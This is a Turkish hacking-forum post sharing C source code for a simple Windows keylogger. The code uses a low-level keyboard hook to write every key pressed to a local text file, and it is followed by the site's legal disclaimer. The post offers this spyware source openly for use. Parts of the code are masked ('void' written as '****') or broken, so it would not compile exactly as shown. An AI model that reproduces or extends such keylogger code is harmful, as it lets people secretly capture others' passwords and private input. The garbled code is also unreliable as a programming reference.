C ile basit local keylogger

kesmezar

Katılımcı Üye
30 Nis 2012
263
0
Bir uçurumun
C ile basit bir keylogger source kodudur.Şimdilik sadece program açıkken log tutuyor.
Program hangi dizinde çalışırsa oraya kayitlar.txt adında dosya oluşturur.Bu dosya varsa kaydetmeye devam eder.
Türkçe karakter sorunu bulunmuyor.
Dev-c++ programında hata veren mesajlar var.Ancak çalışmasına engel teşkil etmiyor.Dosya/Yeni proje/Konsol uygulaması/c ön tanımlı olarak seçiniz...




#include <windows.h>
#include <winuser.h>
#include <stdio.h>


HHOOK hKeyHook;

__declspec(dllexport) LRESULT CALLBACK KeyEvent (

int nCode,
WPARAM wParam,
LPARAM lParam

) {
if ((nCode == HC_ACTION) &&
((wParam == WM_SYSKEYDOWN) ||
(wParam == WM_KEYDOWN)))
{

KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);

DWORD dwMsg = 1;
dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24;

char lpszName[0x100] = {0};
lpszName[0] = ' ';

int i = GetKeyNameText(dwMsg,
(lpszName+1),0xFF) + 1;

lpszName = ' ';


FILE *file;
file=fopen("kayitlar.txt","a+");
fputs(lpszName,file);
fflush(file);
}

return CallNextHookEx(hKeyHook,
nCode,wParam,lParam);

}

**** MsgLoop() //**** yazan yerde v o i d (boşluksuz olarak) yazıyor
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );
}
}

DWORD WINAPI KeyLogger(LP**** lpParameter) //**** yazan yerde V O I D
{


HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
if (!hExe) return 1;

hKeyHook = SetWindowsHookEx (

WH_KEYBOARD_LL,
(HOOKPROC) KeyEvent,
hExe,
NULL
);

MsgLoop();
UnhookWindowsHookEx(hKeyHook);
return 0;
}

int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
DWORD exThread;

hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
KeyLogger, (LP****) argv[0], NULL, &dwThread); //**** yazan yerde V O I D

if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
} else {
return 1;
}
}


(dev c++ 91 satır.)
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.